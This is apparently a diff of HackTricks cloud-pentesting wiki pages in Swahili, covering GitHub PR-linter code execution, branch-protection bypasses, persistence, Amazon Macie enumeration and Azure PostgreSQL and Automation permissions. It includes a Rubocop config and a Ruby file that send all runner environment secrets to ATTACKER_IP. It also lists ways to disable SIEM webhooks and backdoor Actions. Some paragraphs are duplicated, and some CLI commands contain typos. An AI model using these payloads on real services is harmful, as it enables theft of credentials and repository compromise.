Baadhi ya Apps za GitHub na huduma za ukaguzi wa PR zinaendesha linters/SAST za nje dhidi ya ombi za kuvuta zikitumika faili za usanidi zinazodhibitiwa na hifadhi. Ikiwa zana inayoungwa mkono inaruhusu upakiaji wa msimbo wa kidinari, PR inaweza kufikia RCE kwenye mkimbiaji wa huduma.
Mfano: Rubocop inasaidia upakiaji wa nyongeza kutoka kwa usanidi wake wa YAML. Ikiwa huduma inapitisha .rubocop.yml iliyotolewa na hifadhi, unaweza kutekeleza Ruby isiyo na mipaka kwa kuhitaji faili ya ndani.
- Masharti ya kuchochea kwa kawaida yanajumuisha:
- Zana imewezeshwa katika huduma
- PR ina faili ambazo zana inazitambua (kwa Rubocop: .rb)
- Hifadhi ina faili ya usanidi wa zana (Rubocop inatafuta .rubocop.yml popote)
Faili za kutumia katika PR:
.rubocop.yml
```yaml
require:
- ./ext.rb
```
ext.rb (kuondoa muktadha wa mazingira ya mkimbiaji):
```ruby
require 'net/http'
require 'uri'
require 'json'
env_vars = ENV.to_h
json_data = env_vars.to_json
url = URI.parse('http://ATTACKER_IP/')
begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end
```
Pia jumuisha faili kubwa la dummy la Ruby (mfano, main.rb) ili linter ifanye kazi.
Athari zilizoshuhudiwa katika ulimwengu halisi:
- Utekelezaji kamili wa msimbo kwenye mchakato wa uzalishaji ulioendesha linter
- Uhamasishaji wa mazingira nyeti, ikiwa ni pamoja na funguo za kibinafsi za GitHub App zinazotumiwa na huduma, funguo za API, akreditif za DB, n.k.
- Kwa funguo za kibinafsi za GitHub App zilizovuja unaweza kutengeneza alama za usakinishaji na kupata ufikiaji wa kusoma/kandika kwenye hifadhi zote zilizotolewa kwa programu hiyo (tazama sehemu iliyo juu kuhusu uigaji wa GitHub App)
Miongozo ya kuimarisha huduma zinazokimbia zana za nje:
- Chukulia mipangilio ya zana zinazotolewa na hifadhi kama msimbo usioaminika
- Tekeleza zana katika maeneo yaliyotengwa kwa karibu bila mazingira nyeti yaliyowekwa
- Tumia akreditif za chini ya uwezo na kutengwa kwa mfumo wa faili, na kuzuia/kukataa mtandao wa nje kwa zana ambazo hazihitaji ufikiaji wa intaneti
## Bypass ya Ulinzi wa Tawi
- **Hitaji idadi ya idhini**: Ikiwa umevamia akaunti kadhaa unaweza kukubali PR zako kutoka kwa akaunti nyingine. Ikiwa una akaunti tu kutoka ambapo ulitengeneza PR huwezi kukubali PR yako mwenyewe. Hata hivyo, ikiwa una ufikiaji wa mazingira ya **Github Action** ndani ya hifadhi, ukitumia **GITHUB_TOKEN** unaweza **kukubali PR yako** na kupata idhini 1 kwa njia hii.
- _Kumbuka kwa hili na kwa kikomo cha Wamiliki wa Msimbo kwamba kwa kawaida mtumiaji hatakuwa na uwezo wa kukubali PR zake mwenyewe, lakini ikiwa una uwezo, unaweza kuitumia kukubali PR zako._
- **Futa idhini wakati mabadiliko mapya yanaposhughulikiwa**: Ikiwa hii haijakamilishwa, unaweza kuwasilisha msimbo halali, kusubiri hadi mtu akubali, na kuweka msimbo mbaya na kuunganisha kwenye tawi lililolindwa.
- **Hitaji mapitio kutoka kwa Wamiliki wa Msimbo**: Ikiwa hii imewezeshwa na wewe ni Mmiliki wa Msimbo, unaweza kufanya **Github Action kuunda PR yako na kisha kuikubali mwenyewe**.
- Wakati **faili ya CODEOWNER imewekwa vibaya** Github haisemi chochote lakini haitatumia. Kwa hivyo, ikiwa imewekwa vibaya **ulinzi wa Wamiliki wa Msimbo hauwezi kutumika.**
- **Ruhusu wahusika waliotajwa kupita mahitaji ya ombi la kuvuta**: Ikiwa wewe ni mmoja wa wahusika hawa unaweza kupita ulinzi wa ombi la kuvuta.
- **Jumuisha wasimamizi**: Ikiwa hii haijakamilishwa na wewe ni msimamizi wa hifadhi, unaweza kupita ulinzi huu wa tawi.
- **PR Hijacking**: Unaweza kuwa na uwezo wa **kubadilisha PR ya mtu mwingine** kwa kuongeza msimbo mbaya, ukikubali PR inayotokana na hiyo mwenyewe na kuunganisha kila kitu.
- **Kuondoa Ulinzi wa Tawi**: Ikiwa wewe ni **msimamizi wa hifadhi unaweza kuzima ulinzi**, kuunganisha PR yako na kuweka ulinzi tena.
- **Kupita ulinzi wa kusukuma**: Ikiwa hifadhi **inaruhusu watumiaji fulani tu** kutuma kusukuma (kuunganisha msimbo) katika matawi (ulinzi wa tawi unaweza kulinda matawi yote kwa kutaja wildcard `*`).
- Ikiwa una **ufikiaji wa kuandika kwenye hifadhi lakini hujapewa ruhusa ya kusukuma msimbo** kwa sababu ya ulinzi wa tawi, bado unaweza **kuunda tawi jipya** na ndani yake kuunda **github action inayozinduliwa wakati msimbo unaposukumwa**. Kwa kuwa **ulinzi wa tawi hautalinda tawi hadi liundwe**, kusukuma kwa msimbo huu wa kwanza kwenye tawi litafanya **github action ifanye kazi**.
## Kupita Ulinzi wa Mazingira
Kwa utangulizi kuhusu [**Mazingira ya Github angalia taarifa za msingi**](basic-github-information.md#git-environments).
Kwa utangulizi kuhusu [**Github Environment angalia taarifa za msingi**](basic-github-information.md#git-environments).
Katika kesi mazingira yanaweza **kupatikana kutoka matawi yote**, **hayalindwi** na unaweza kwa urahisi kupata siri ndani ya mazingira. Kumbuka kwamba unaweza kupata repos ambapo **matawi yote yanapewa ulinzi** (kwa kubainisha majina yake au kwa kutumia `*`) katika hali hiyo, **tafuta tawi ambapo unaweza kusukuma msimbo** na unaweza **kuondoa** siri kwa kuunda github action mpya (au kubadilisha moja).
Ikiwa mazingira yanaweza **kupatikana kutoka matawi yote**, **hayalindwi** na unaweza kwa urahisi kufikia siri ndani ya mazingira. Kumbuka kwamba unaweza kupata hifadhi ambapo **matawi yote yanalindwa** (kwa kutaja majina yake au kwa kutumia `*`) katika hali hiyo, **tafuta tawi ambapo unaweza kusukuma msimbo** na unaweza **kuhamasisha** siri kwa kuunda github action mpya (au kubadilisha moja).
Kumbuka, kwamba unaweza kupata kesi ya mwisho ambapo **matawi yote yanapewa ulinzi** (kupitia wildcard `*`) imebainishwa **nani anaweza kusukuma msimbo kwenye matawi** (_unaweza kubainisha hiyo katika ulinzi wa tawi_) na **mtumiaji wako hauruhusiwi**. Bado unaweza kuendesha github action maalum kwa sababu unaweza kuunda tawi na kutumia kichocheo cha kusukuma juu yake mwenyewe. **Ulinzi wa tawi unaruhusu kusukuma kwenye tawi jipya hivyo github action itazinduliwa**.
Kumbuka, kwamba unaweza kupata kesi ya mwisho ambapo **matawi yote yanalindwa** (kupitia wildcard `*`) imeelezwa **nani anaweza kusukuma msimbo kwenye matawi** (_unaweza kueleza hiyo katika ulinzi wa tawi_) na **mtumiaji wako hajaidhinishwa**. Bado unaweza kuendesha github action maalum kwa sababu unaweza kuunda tawi na kutumia kichocheo cha kusukuma juu yake mwenyewe. **Ulinzi wa tawi unaruhusu kusukuma kwenye tawi jipya hivyo github action itazinduliwa**.
```yaml
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
```
Kumbuka kwamba **baada ya kuunda** tawi, **ulinzi wa tawi utaweza kutumika kwa tawi jipya** na huwezi kulibadilisha, lakini kwa wakati huo tayari utakuwa umepata siri hizo.
Kumbuka kwamba **baada ya kuunda** tawi, **ulinzi wa tawi utaweza kutumika kwa tawi jipya** na huwezi kubadilisha, lakini kwa wakati huo tayari utakuwa umepata siri.
## Kudumu
## Uendelevu
- Tengeneza **token ya mtumiaji**
- Nyakua **token za github** kutoka **siri**
@@ -211,12 +355,12 @@ Kumbuka kwamba **baada ya kuunda** tawi, **ulinzi wa tawi utaweza kutumika kwa t
- Unda **webhooks** za kuhamasisha taarifa
- Karibisha **washirikishi wa nje**
- **Ondoa** **webhooks** zinazotumiwa na **SIEM**
- Unda/badilisha **Github Action** yenye **mlango wa nyuma**
- Pata **Github Action iliyo hatarini kwa kuingiza amri** kupitia **mabadiliko ya** thamani ya **siri**
- Unda/badilisha **Github Action** yenye **backdoor**
- Pata **Github Action iliyo hatarini kwa kuingilia amri** kupitia **mabadiliko ya** thamani ya **siri**
### Imposter Commits - Mlango wa nyuma kupitia commits za repo
### Imposter Commits - Backdoor kupitia commits za repo
Katika Github inawezekana **kuunda PR kwa repo kutoka kwa fork**. Hata kama PR **haikubaliwi**, **commit** id ndani ya repo asilia itaundwa kwa toleo la fork la msimbo. Hivyo, mshambuliaji **anaweza kuunganisha kutumia commit maalum kutoka kwa repo inayodhaniwa kuwa halali ambayo haikuundwa na mmiliki wa repo**.
Katika Github inawezekana **kuunda PR kwa repo kutoka kwa fork**. Hata kama PR **haikubaliwi**, **commit** id ndani ya repo asilia itaundwa kwa toleo la fork la msimbo. Hivyo, mshambuliaji **anaweza kuamua kutumia commit maalum kutoka kwa repo inayonekana kuwa halali ambayo haikuundwa na mmiliki wa repo**.
Kama [**hii**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
@@ -233,4 +377,12 @@ echo 'hello world!'
```
Kwa maelezo zaidi angalia [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
## Marejeo
- [Jinsi tulivyotumia CodeRabbit: kutoka PR rahisi hadi RCE na ufikiaji wa kuandika kwenye hifadhidata 1M](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Rubocop extensions (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Kujiandikisha na GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [Orodha ya usakinishaji kwa programu iliyothibitishwa](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Unda token ya ufikiaji wa usakinishaji kwa programu](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,48 +1,142 @@
# Amazon Macie
## Introduction
{{#include ../../../banners/hacktricks-training.md}}
Amazon Macie ni huduma ya usalama wa data inayogundua data nyeti kwa kutumia kujifunza kwa mashine na ulinganifu wa mifumo, inatoa mwonekano wa hatari za usalama wa data, na inaruhusu ulinzi wa kiotomatiki dhidi ya hatari hizo.
## Macie
## Listing Findings with AWS Console
Amazon Macie inajitokeza kama huduma iliyoundwa ili **kutambua, kuainisha, na kubaini data** ndani ya akaunti ya AWS. Inatumia **machine learning** ili kuendelea kufuatilia na kuchambua data, ikilenga hasa kutambua na kutoa tahadhari dhidi ya shughuli zisizo za kawaida au za kutatanisha kwa kuchunguza **cloud trail event** data na mifumo ya tabia za watumiaji.
Baada ya kuchanganua S3 bucket maalum kwa ajili ya siri na data nyeti, matokeo yatatengenezwa na kuonyeshwa kwenye console. Watumiaji walioidhinishwa wenye ruhusa za kutosha wanaweza kuona na kuorodhesha matokeo haya kwa kila kazi.
Vipengele Muhimu vya Amazon Macie:
1. **Mapitio ya Data ya Kazi**: Inatumia machine learning kukagua data kwa njia ya kazi mbalimbali zinapotokea ndani ya akaunti ya AWS.
2. **Utambuzi wa Anomalies**: Inatambua shughuli zisizo za kawaida au mifumo ya ufikiaji, ikizalisha tahadhari ili kupunguza hatari za uwezekano wa kufichika kwa data.
3. **Ufuatiliaji Endelevu**: Inafuatilia na kutambua data mpya katika Amazon S3, ikitumia machine learning na akili bandia kubadilika kulingana na mifumo ya ufikiaji wa data kwa muda.
4. **Uainishaji wa Data kwa NLP**: Inatumia usindikaji wa lugha asilia (NLP) kuainisha na kutafsiri aina mbalimbali za data, ikitoa alama za hatari ili kuipa kipaumbele matokeo.
5. **Ufuatiliaji wa Usalama**: Inatambua data nyeti za usalama, ikiwa ni pamoja na funguo za API, funguo za siri, na taarifa za kibinafsi, kusaidia kuzuia kufichika kwa data.
Amazon Macie ni **huduma ya kikanda** na inahitaji 'AWSMacieServiceCustomerSetupRole' IAM Role na AWS CloudTrail iliyoanzishwa kwa ajili ya utendaji.
### Mfumo wa Tahadhari
Macie inagawanya tahadhari katika makundi yaliyoainishwa kama:
- Ufikiaji wa Anonymized
- Uzingatiaji wa Data
- Kupoteza Kiwango
- Kuinua Mamlaka
- Ransomware
- Ufikiaji wa Kutatanisha, nk.
Tahadhari hizi zinatoa maelezo ya kina na ufafanuzi wa matokeo kwa ajili ya majibu na ufumbuzi mzuri.
### Vipengele vya Dashibodi
Dashibodi inagawanya data katika sehemu mbalimbali, ikiwa ni pamoja na:
- Vitu vya S3 (kwa muda, ACL, PII)
- Matukio/matumizi ya CloudTrail yenye hatari kubwa
- Mahali pa Shughuli
- Aina za utambulisho wa mtumiaji wa CloudTrail, na zaidi.
### Uainishaji wa Watumiaji
Watumiaji wanaainishwa katika ngazi kulingana na kiwango cha hatari ya simu zao za API:
- **Platinum**: Simu za API zenye hatari kubwa, mara nyingi zikiwa na mamlaka ya admin.
- **Gold**: Simu za API zinazohusiana na miundombinu.
- **Silver**: Simu za API zenye hatari ya kati.
- **Bronze**: Simu za API zenye hatari ndogo.
### Aina za Utambulisho
Aina za utambulisho zinajumuisha Root, IAM user, Assumed Role, Federated User, AWS Account, na AWS Service, zikionyesha chanzo cha maombi.
### Uainishaji wa Data
Uainishaji wa data unajumuisha:
- Aina ya Maudhui: Kulingana na aina ya maudhui iliyogunduliwa.
- Kiambatisho cha Faili: Kulingana na kiambatisho cha faili.
- Mada: Imeainishwa kwa maneno muhimu ndani ya faili.
- Regex: Imeainishwa kulingana na mifumo maalum ya regex.
Hatari ya juu zaidi kati ya makundi haya inamua kiwango cha hatari cha faili.
### Utafiti na Uchambuzi
Kazi ya utafiti ya Amazon Macie inaruhusu maswali maalum katika data yote ya Macie kwa uchambuzi wa kina. Filters zinajumuisha Data ya CloudTrail, mali za S3 Bucket, na Vitu vya S3. Aidha, inasaidia kuwalika akaunti nyingine kushiriki Amazon Macie, ikirahisisha usimamizi wa data wa pamoja na ufuatiliaji wa usalama.
## Kuorodhesha Matokeo na AWS Console
Baada ya kuchanganua S3 bucket maalum kwa siri na data nyeti, matokeo yatatolewa na kuonyeshwa kwenye console. Watumiaji walioidhinishwa wenye ruhusa za kutosha wanaweza kuona na kuorodhesha matokeo haya kwa kila kazi.
<img width="1438" alt="Screenshot 2025-02-10 at 19 08 08" src="https://github.com/user-attachments/assets/4420f13e-c071-4ae4-946b-6fe67449a9f6" />
## Revealing Secret
## Kufichua Siri
Amazon Macie inatoa kipengele kinachoonyesha siri zilizogunduliwa kwa muundo wa maandiko wazi. Hii inasaidia katika kutambua data iliyovunjwa. Hata hivyo, kuonyesha siri kwa maandiko wazi kwa ujumla hakuchukuliwi kama njia bora kutokana na wasiwasi wa usalama, kwani inaweza kufichua taarifa nyeti.
Amazon Macie inatoa kipengele kinachoonyesha siri zilizogunduliwa kwa muundo wa maandiko wazi. Kazi hii inasaidia katika kubaini data iliyovunjwa. Hata hivyo, kuonyesha siri kwa muundo wa maandiko wazi kwa ujumla hakuchukuliwi kama njia bora kutokana na wasiwasi wa usalama, kwani inaweza kufichua taarifa nyeti.
<img width="596" alt="Screenshot 2025-02-10 at 19 13 53" src="https://github.com/user-attachments/assets/31c40c29-0bba-429b-8b86-4e214d1aef66" />
<img width="1154" alt="Screenshot 2025-02-10 at 19 15 11" src="https://github.com/user-attachments/assets/df616e56-a11a-41da-ac69-0bea37d143a5" />
## Enumeration
### Enumeration
```bash
# List and describe classification jobs
aws macie2 list-classification-jobs --region eu-west-1
aws macie2 describe-classification-job --job-id <Job_ID> --region eu-west-1
# Get buckets
aws macie2 describe-buckets
# Org config
aws macie2 describe-organization-configuration
# Get admin account (if any)
aws macie2 get-administrator-account
aws macie2 list-organization-admin-accounts # Run from the management account of the org
# Get macie account members (run this from the admin account)
aws macie2 list-members
# Check if automated sensitive data discovey is enabled
aws macie2 get-automated-discovery-configuration
# Get findings
aws macie2 list-findings
aws macie2 get-findings --finding-ids <ids>
aws macie2 list-findings-filters
aws macie2 get -findings-filters --id <id>
# Get allow lists
aws macie2 list-allow-lists
aws macie2 get-allow-list --id <id>
# Get different info
aws macie2 list-classification-jobs
aws macie2 describe-classification-job --job-id <Job_ID>
aws macie2 list-classification-scopes
aws macie2 list-custom-data-identifiers
aws macie2 get-custom-data-identifier --id <Identifier_ID>
# Retrieve account details and statistics
aws macie2 get-macie-session --region eu-west-1
aws macie2 get-usage-statistics --region eu-west-1
# List and manage Macie members (for organizations)
aws macie2 list-members --region eu-west-1
# List findings and get detailed information about specific findings
aws macie2 list-findings --region eu-west-1
aws macie2 get-findings --finding-id <Finding_ID> --region eu-west-1
# Manage custom data identifiers
aws macie2 list-custom-data-identifiers --region eu-west-1
aws macie2 get-custom-data-identifier --id <Identifier_ID> --region eu-west-1
# List and detail findings filters
aws macie2 list-findings-filters --region eu-west-1
aws macie2 get-findings-filter --id <Filter_ID> --region eu-west-1
aws macie2 get-macie-session
aws macie2 get-usage-statistic
```
### Privesc
{{#ref}}
../aws-privilege-escalation/aws-macie-privesc.md
{{#endref}}
### Post Exploitation
> [!TIP]
> Kutoka kwa mtazamo wa mshambuliaji, huduma hii haijaundwa kugundua mshambuliaji, bali kugundua taarifa nyeti katika faili zilizohifadhiwa. Hivyo, huduma hii inaweza **kusaidia mshambuliaji kupata taarifa nyeti** ndani ya ndoo.\
> Hata hivyo, labda mshambuliaji anaweza pia kuwa na hamu ya kuingilia kati ili kuzuia mwathirika kupata arifa na kuiba taarifa hiyo kwa urahisi.
TODO: PRs are welcome!
## References
- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -9,27 +9,28 @@ Kwa maelezo zaidi kuhusu PostgreSQL Database angalia:
../az-services/az-postgresql.md
{{#endref}}
### Tumia ugani pg_azure_storage kufikia Akaunti za Hifadhi
Inawezekana kutumia ugani **`pg_azure_storage` kufikia Akaunti za Hifadhi za Azure** kutoka kwa seva ya PostgreSQL. Hii itatumia ruhusa za utambulisho wa usimamizi uliotolewa kwa seva kufikia akaunti ya hifadhi.
Kwa maelezo zaidi angalia mbinu hii iliyoelezwa katika sehemu ya kupandisha hadhi:
{{#ref}}
../az-privilege-escalation/az-postgresql-privesc.md
{{#endref}}
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
Kwa ruhusa hii, unaweza kuunda hifadhidata mpya ndani ya mfano wa Postgres Flexible Server kwenye Azure. Ingawa kitendo hiki mwenyewe hakibadilishi rasilimali zilizopo, kuunda hifadhidata nyingi kupita kiasi au zisizoidhinishwa kunaweza kusababisha matumizi ya rasilimali, au matumizi mabaya ya seva.
Kwa ruhusa hii, unaweza kuunda databasi mpya ndani ya mfano wa Postgres Flexible Server kwenye Azure. Ingawa kitendo hiki hakibadilishi rasilimali zilizopo, kuunda databasi nyingi kupita kiasi au zisizoidhinishwa kunaweza kusababisha matumizi ya rasilimali, au matumizi mabaya ya seva.
```bash
az postgres flexible-server db create \
--server-name <server_name> \
--resource-group <resource_group_name> \
--database-name <database_name>
```
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
Kwa ruhusa hii, unaweza kuanzisha uundaji wa nakala za akiba kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inawawezesha watumiaji kuunda nakala za akiba kwa mahitaji, ambazo zinaweza kuwa na manufaa kwa kuhifadhi data katika wakati maalum.
```bash
az postgres flexible-server backup create \
--name <server_name> \
--resource-group <resource_group_name>
--backup-name <backup_name>
```
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
Kwa ruhusa hii, unaweza kuunda au kusasisha mipangilio ya Advanced Threat Protection (ATP) kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inaruhusu kuwezesha au kuzima vipengele vya usalama vilivyoundwa kugundua na kujibu shughuli zisizo za kawaida na vitisho vya uwezekano.
Kwa ruhusa hii, unaweza kuunda au kusasisha mipangilio ya Advanced Threat Protection (ATP) kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inaruhusu kuwezesha au kuzima vipengele vya usalama vilivyoundwa kugundua na kujibu shughuli zisizo za kawaida na vitisho vinavyoweza kutokea.
```bash
az postgres flexible-server threat-protection-policy update \
--name <server_name> \
@@ -38,7 +39,7 @@ az postgres flexible-server threat-protection-policy update \
```
### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read`
Kwa ruhusa hii, unaweza kuunda au kubadilisha sheria za firewall kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inaruhusu udhibiti juu ya ni anwani zipi za IP au maeneo gani yanaweza kufikia seva. Matumizi yasiyoidhinishwa au yasiyo sahihi ya ruhusa hii yanaweza kufichua seva kwa ufikiaji usiohitajika au mbaya.
Kwa ruhusa hii, unaweza kuunda au kubadilisha sheria za firewall kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inaruhusu udhibiti juu ya anwani za IP au maeneo gani yanaweza kufikia seva. Matumizi yasiyoidhinishwa au yasiyo sahihi ya ruhusa hii yanaweza kufichua seva kwa ufikiaji usiohitajika au mbaya.
```bash
# Create Rule
az postgres flexible-server firewall-rule create \

View File

@@ -1,54 +1,54 @@
# Az - Automation Accounts
# Az - Akaunti za Uendeshaji
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Taarifa za Msingi
Azure Automation Accounts ni huduma za msingi za wingu katika Microsoft Azure ambazo husaidia **kujiendesha** kazi kama usimamizi wa rasilimali, usanidi, na masasisho katika Azure na mazingira ya ndani. Zinatoa **Runbooks** (script za kujiendesha ambazo zinafanywa), **ratiba**, na **vikundi vya wafanyakazi wa mseto** ili kuendesha kazi za **kujiendesha**, kuwezesha miundombinu kama msimbo (IaC) na kujiendesha kwa mchakato kwa ufanisi na uthabiti katika usimamizi wa rasilimali za wingu.
Akaunti za Uendeshaji za Azure ni huduma za msingi wa wingu katika Microsoft Azure ambazo husaidia **kuendesha kazi** kama usimamizi wa rasilimali, usanidi, na masasisho katika Azure na mazingira ya ndani. Zinatoa **Runbooks** (scripts za uendeshaji zinazotekelezwa), **ratiba**, na **vikundi vya wafanyakazi wa mseto** ili kuendesha kazi za uendeshaji, kuwezesha miundombinu kama msimbo (IaC) na uendeshaji wa mchakato kwa ufanisi na uthabiti katika usimamizi wa rasilimali za wingu.
### Settings
### Mipangilio
- **Credentials**: Nenosiri linaweza kupatikana tu ndani ya runbook ndani ya akaunti ya kujiendesha, zinatumika **kuhifadhi majina ya watumiaji na nenosiri kwa usalama**.
- **Variables**: Zinatumika kuhifadhi **data za usanidi** ambazo zinaweza kutumika katika runbooks. Hii inaweza pia kuwa habari nyeti kama funguo za API. Ikiwa variable ime **hifadhiwa kwa usimbuaji**, inapatikana tu ndani ya runbook ndani ya akaunti ya kujiendesha.
- **Certificates**: Zinatumika kuhifadhi **vyeti** ambavyo vinaweza kutumika katika runbooks.
- **Connections**: Zinatumika kuhifadhi **habari za muunganisho** na huduma za nje. Hii inaweza kuwa na **habari nyeti**.
- **Network Access**: Inaweza kuwekwa kuwa **ya umma** au **ya kibinafsi**.
- **Hati**: Nenosiri linaweza kupatikana tu ndani ya runbook ndani ya akaunti ya uendeshaji, zinatumika **kuhifadhi majina ya watumiaji na nenosiri kwa usalama**.
- **Mabadiliko**: Yanatumika kuhifadhi **data za usanidi** ambazo zinaweza kutumika katika runbooks. Hii inaweza pia kuwa habari nyeti kama funguo za API. Ikiwa mabadiliko yana **hifadhiwa kwa usimbuaji**, yanapatikana tu ndani ya runbook ndani ya akaunti ya uendeshaji.
- **Vyeti**: Vinatumika kuhifadhi **vyeti** ambavyo vinaweza kutumika katika runbooks.
- **Mawasiliano**: Yanatumika kuhifadhi **habari za mawasiliano** na huduma za nje. Hii inaweza kuwa na **habari nyeti**.
- **Upatikanaji wa Mtandao**: Inaweza kuwekwa kuwa **ya umma** au **ya kibinafsi**.
### Runbooks & Jobs
### Runbooks & Kazi
Runbook katika Azure Automation ni **script inayofanya kazi kiotomatiki** ndani ya mazingira yako ya wingu. Runbooks zinaweza kuandikwa kwa PowerShell, Python, au wahariri wa picha. Zinasaidia kujiendesha kazi za kiutawala kama usimamizi wa VM, urekebishaji, au ukaguzi wa kufuata.
Runbook katika Azure Automation ni **script inayofanya kazi kiotomatiki** ndani ya mazingira yako ya wingu. Runbooks zinaweza kuandikwa kwa PowerShell, Python, au wahariri wa picha. Zinasaidia kuendesha kazi za kiutawala kama usimamizi wa VM, urekebishaji, au ukaguzi wa kufuata.
Katika **msimbo** ulio ndani ya **Runbooks** unaweza kuwa na **habari nyeti** (kama vile creds).
Katika **msimbo** ulio ndani ya **Runbooks** unaweza kuwa na **habari nyeti** (kama vile hati).
**Job ni mfano wa utekelezaji wa Runbook**. Unapokimbia Runbook, Job inaundwa kufuatilia utekelezaji huo. Kila kazi inajumuisha:
**Kazi ni mfano wa utekelezaji wa Runbook**. Unapokimbia Runbook, kazi inaundwa kufuatilia utekelezaji huo. Kila kazi inajumuisha:
- **Status**: Imeorodheshwa, Inaendesha, Imekamilika, Imeanguka, Imefungwa.
- **Output**: Matokeo ya utekelezaji wa Runbook.
- **Start and End Time**: Wakati kazi ilianza na kukamilika.
- **Hali**: Imeorodheshwa, Inaendelea, Imekamilika, Imefeli, Imeahirishwa.
- **Matokeo**: Matokeo ya utekelezaji wa Runbook.
- **Wakati wa Kuanzia na Kumaliza**: Wakati kazi ilianza na kukamilika.
Kazi ina **matokeo** ya utekelezaji wa **Runbook**. Ikiwa unaweza **kusoma** **kazi**, fanya hivyo kwani **zina** **matokeo** ya kukimbia (habari **nyeti** zinazoweza kuwa).
Kazi ina **matokeo** ya utekelezaji wa **Runbook**. Ikiwa unaweza **kusoma** **kazi**, fanya hivyo kwani **zina** **matokeo** ya kukimbia (potenshiali **habari nyeti**).
### Schedules & Webhooks
### Ratiba & Webhooks
Kuna njia 3 kuu za kutekeleza Runbook:
- **Schedules**: Hizi zinatumika **kuanzisha** Runbooks kwa **wakati maalum** au **kipindi**.
- **Webhooks**: Hizi ni **nukta za HTTP** ambazo zinaweza kutumika **kuanzisha** Runbooks kutoka **huduma za nje**. Kumbuka kwamba URL ya webhook **haiwezi kuonekana** baada ya kuundwa.
- **Manual Trigger**: Unaweza **kuanzisha kwa mikono** Runbook kutoka kwenye Azure Portal na kutoka kwa cli.
- **Ratiba**: Hizi zinatumika **kuanzisha** Runbooks kwa **wakati maalum** au **kipindi**.
- **Webhooks**: Hizi ni **nukta za HTTP** ambazo zinaweza kutumika **kuanzisha** Runbooks kutoka **huduma za nje**. Kumbuka kwamba URL ya webhook **haionekani** baada ya kuundwa.
- **Kuanza kwa Mikono**: Unaweza **kuanzisha kwa mikono** Runbook kutoka kwenye Azure Portal na kutoka kwa cli.
### Source Control
### Udhibiti wa Chanzo
Inaruhusu kuagiza Runbooks kutoka **Github, Azure Devops (Git) na Azure Devops (TFVC)**. Inawezekana kuashiria kuchapisha Runbooks za repo kwenye akaunti ya Azure Automation na pia inawezekana kuashiria **kuunganisha mabadiliko kutoka repo** hadi akaunti ya Azure Automation.
Inaruhusu kuagiza Runbooks kutoka **Github, Azure Devops (Git) na Azure Devops (TFVC)**. Inawezekana kuashiria kuchapisha Runbooks za repo kwenye akaunti ya Azure Automation na pia inawezekana kuashiria **kuunganisha mabadiliko kutoka kwa repo** hadi akaunti ya Azure Automation.
Wakati kuunganisha kunapoanzishwa, katika **github repository webhook inaundwa** ili kuanzisha kuunganisha kila wakati tukio la push linapotokea. Mfano wa URL ya webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Wakati kuunganisha kunapoanzishwa, katika **hifadhi ya Github webhook inaundwa** ili kuanzisha kuunganisha kila wakati tukio la kusukuma linapotokea. Mfano wa URL ya webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Kumbuka kwamba hizi webhooks **hazitaonekana** unapoorodhesha webhooks katika runbooks zinazohusishwa na repo ya Github. Pia kumbuka kwamba **siwezi kubadilisha URL ya repo** ya udhibiti wa chanzo mara tu inapoandikwa.
Kumbuka kwamba hizi webhooks **hazitaonekana** unapoorodhesha webhooks katika runbooks zinazohusiana na repo ya Github. Pia kumbuka kwamba **haiwezekani kubadilisha URL ya repo** ya udhibiti wa chanzo mara tu inapoandikwa.
Ili udhibiti wa chanzo uliowekwa ufanye kazi, **Azure Automation Account** inahitaji kuwa na utambulisho wa kusimamia (mfumo au mtumiaji) wenye jukumu la **`Contributor`**. Aidha, ili kupeana utambulisho wa mtumiaji wa kusimamia kwa Akaunti ya Kujiendesha, inahitajika kuashiria ID ya mteja wa MI ya mtumiaji katika variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
